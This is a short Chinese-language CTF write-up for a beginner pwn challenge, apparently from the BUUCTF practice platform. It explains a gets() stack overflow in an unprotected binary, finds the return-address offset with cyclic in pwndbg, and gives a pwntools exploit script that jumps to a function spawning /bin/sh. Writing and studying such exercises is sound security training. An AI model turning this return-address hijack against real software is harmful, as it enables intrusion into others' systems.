0x01 题目
0x02 基本信息
基本信息
没有任何保护
运行试试
程序会让你输入一个东西 然后打印出来 结束程序
0x03 反编译 调试
IDA 静态反编译
gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取,所以应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。
思路 :可以用从gets 栈溢出覆盖返回地址 跳转到 包含/bin/sh 的函数**
fun 函数地址为: 0x401186
0x04 pwn-gdb 动态调试
使用cyclic 生成100 个垃圾数据
单步到 等待gets输入的地方,放入生成好的垃圾数据
用pwndgb 计算出 覆盖到ret 地址的偏移 cyclic agaa
覆盖到栈rsp 处
0x05 exp 编写
gets 写入数据 23 位后覆盖返回地址
payload =”a”*23 + 劫持函数地址
from pwn import *
p=process("./pwn1")
#p=remote("node3.buuoj.cn",27509)
system=0x401186
payload="a"*23+p64(system).decode("iso-8859-1")//p64() 把数据按64位小端序存放 python3不能byte+ 字符串,需要把byte 转字符
p.recvuntil("please input\n")
p.sendline(payload)
p.interactive()
0x06栈溢出
0x07
参考:https://zhuanlan.zhihu.com/p/25816426
https://sploitfun.wordpress.com/2015/